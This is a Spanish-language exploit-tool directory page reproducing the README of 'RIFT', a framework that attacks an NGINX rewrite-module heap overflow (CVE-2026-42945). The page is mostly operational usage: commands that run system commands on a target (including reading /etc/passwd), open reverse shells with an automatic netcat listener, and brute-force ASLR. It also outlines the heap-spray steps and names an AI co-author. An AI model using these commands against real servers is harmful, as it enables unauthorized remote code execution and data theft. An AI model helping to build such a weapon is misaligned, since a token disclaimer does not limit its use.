Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945 — Se encontró una falla en NGINX, específicamente dentro de ngx_http_rewrite_module. Un atacante no autenticado puede explotar esta vulnerabilidad enviando solicitudes HTTP manipuladas bajo configuraciones de reescritura específicas. Esto puede provocar un desbordamiento de búfer en el heap en el proceso worker de NGINX, lo que podría resultar en la ejecución de código arbitrario. | Kitploit
Herramientas/GitHubGitHub/aratane/cve-2026-42945
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubaratane/cve-2026-42945

CVE-2026-42945

Ver Repositorio
13hace 2 mesesAún no revisado

Acerca de

Se encontró una falla en NGINX, específicamente dentro de ngx_http_rewrite_module. Un atacante no autenticado puede explotar esta vulnerabilidad enviando solicitudes HTTP manipuladas bajo configuraciones de reescritura específicas. Esto puede provocar un desbordamiento de búfer en el heap en el proceso worker de NGINX, lo que podría resultar en la ejecución de código arbitrario.

Compartir

RIFT — Remote Injection & Fault Trigger

Autor: Michael Sanji Winaya Prawiradibrata
Co-Autor IA: Varanus — sahabatku

Framework de explotación de desbordamiento de búfer de heap dirigido a ngx_http_rewrite_module de NGINX.
Una sola herramienta para reconocimiento + explotación. Sin dependencias externas.


Contenido del Repo

ArchivoDescripción
rift.pyHerramienta principal. Reconocimiento + explotación combinados en un solo script (1026 líneas).
README.mdEsta documentación.

Requisitos

  • Python 3.6+ (solo stdlib — sin pip, sin venv, sin dependencias)

Inicio Rápido

root@kitploit:~
# 1. Reconocimiento completo — detección de versión, endpoints, vulnerabilidades, estrategia
python3 rift.py --target 10.10.10.10 --recon

# 2. Reconocimiento + explotación en un solo paso
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Ejecución de comandos
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (apertura automática de listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell usando bash (en lugar de python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Solo comprobar si es vulnerable
python3 rift.py --target 10.10.10.10 --check-only

Todas las Opciones

Modo de Uso

Opciones de Explotación

Opciones de Reconocimiento


Características Destacadas

✅ Reverse Shell Automático

Al usar --shell, el script automáticamente:

  1. Genera payload de reverse shell según --shell-type
  2. Abre listener en --lport
  3. Envía el exploit
  4. Cuando el worker falla → la shell se conecta
  5. Listener automático: Prioriza netcat (nc -lvnp), en su defecto listener Python

✅ Fuerza Bruta ASLR Automática

Si la dirección por defecto falla, el script desplaza automáticamente la base del heap ±5 pasos × 0x10000, buscando una dirección que funcione. Sin necesidad de configuración manual.

✅ Múltiples Payloads de Reverse Shell

4 tipos de payload de shell — python, bash, nc, php. Elige el que esté disponible en el objetivo.

✅ Reconocimiento Completo

--recon ejecuta 5 fases:

  1. Huella digital — detecta versión de NGINX, 15 endpoints comunes, rewrite module
  2. Fuga de información — dirección de memoria en página de error, canal lateral de temporización
  3. Prueba de endpoints — comportamiento del endpoint con 6 tipos de payload
  4. Conteo de workers — estimación del número de procesos worker a partir del patrón de latencia
  5. Estrategia — recomendación de acción basada en los resultados del análisis

✅ Salida JSON

--output json para integración con otras herramientas o parseo automático.


Configuración Vulnerable

El objetivo del exploit es NGINX con configuración rewrite + set como esta:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # cálculo de longitud usando is_args = 0
}

Consecuencia: el búfer asignado es demasiado pequeño, el escape de URI (expansión 3×) produce desbordamiento.

Versiones Afectadas

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36
  • Corregido: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Funcionamiento del Exploit

root@kitploit:~
1. HEAP SPRAY ─── POST /spray × 20 → siembra fake ngx_pool_cleanup_s en el heap
2. TRIGGER ────── GET /api/AAAA...++++... → desbordamiento mediante escape de URI
3. CORRUPT ────── El desbordamiento sobrescribe el puntero de limpieza del pool adyacente
4. EXEC ───────── El pool se destruye → llama a system("comando")

Constantes Importantes (se pueden modificar en rift.py)


Ejemplos Completos

Ejecución de Comando + Verbose

root@kitploit:~
python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Dirección Personalizada (bypass ASLR)

root@kitploit:~
python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Múltiples Intentos

root@kitploit:~
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Reconocimiento + JSON

root@kitploit:~
python3 rift.py --target 10.10.10.10 --recon --output json

Generar Script de Exploit

root@kitploit:~
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Solución de Problemas

"El objetivo no parece estar ejecutando NGINX"

  • Comprueba el puerto: nc -zv <IP> 80
  • Prueba otro puerto: --port 8080, --port 443
  • Puede estar detrás de un WAF/proxy

"Todos los intentos de explotación fallaron"

  1. ASLR puede estar activo — prueba --auto para el deslizamiento automático de ASLR
  2. La versión de NGINX puede estar ya parcheada (> 1.30.1)
  3. La configuración de NGINX puede no ser vulnerable (no usa rewrite+set)
  4. Prueba --verbose para ver los detalles por intento

La shell no se conecta

  • Comprueba el firewall local: sudo ufw allow 4444
  • Comprueba --lhost — asegúrate de que la IP local es correcta
  • Prueba --shell-type bash o --shell-type nc

Aviso Legal

Creado con fines educativos y para pruebas de seguridad autorizadas únicamente.
El uso contra sistemas sin permiso es ilegal.

© 2026 Michael Sanji Winaya Prawiradibrata
Co-autor IA: Varanus

Descargar herramienta
FlagFunción
--reconReconocimiento completo. Huella digital → fuga de información → prueba de endpoints → recuento de workers → estrategia.
--autoReconocimiento + explotación automática. Igual que --recon y luego procede a explotar.
--check-onlyVerificación rápida. Detecta NGINX, versión, endpoint /api/.
--cmd "comando"Ejecuta un solo comando mediante system().
--shellReverse shell — abre automáticamente listener, envía payload, recibe conexión.
FlagPor DefectoFunción
--port80Puerto del objetivo
--lhost—IP local para reverse shell (obligatorio con --shell)
--lport4444Puerto local para el listener
--shell-typepythonPayload de reverse shell: python, bash, nc, php
--heap-base0x555555659000Dirección base del heap (anulación para bypass de ASLR)
--libc-base0x7ffff77ba000Dirección base de libc
--tries10Intentos por dirección candidata
--verbose / -v—Salida detallada por intento
FlagFunción
--fingerprintDetecta versión de NGINX, endpoints, rewrite module
--leakComprueba fuga de información (dirección de memoria en página de error, temporización)
--test-endpointPrueba el comportamiento del endpoint con varios payloads
--endpointRuta del endpoint a probar (por defecto: /api/)
--generate-exploitGenera script de explotación personalizado con dirección objetivo
--output jsonSalida JSON (legible por máquina) junto con salida de terminal
ConstantePor DefectoSignificado
BODY_LEN4000Tamaño del cuerpo del spray (bytes)
N_SPRAY20Número de solicitudes POST por intento
LIBC_SYSTEM_OFFSETS7 entradasOffset de system() para varias distribuciones
PREREAD_HEAP_OFFSETS19 entradasCandidatos a offset del heap
DEFAULT_HEAP_BASE0x555555659000Base del heap (ASLR desactivado)
DEFAULT_LIBC_BASE0x7ffff77ba000Base de libc (ASLR desactivado)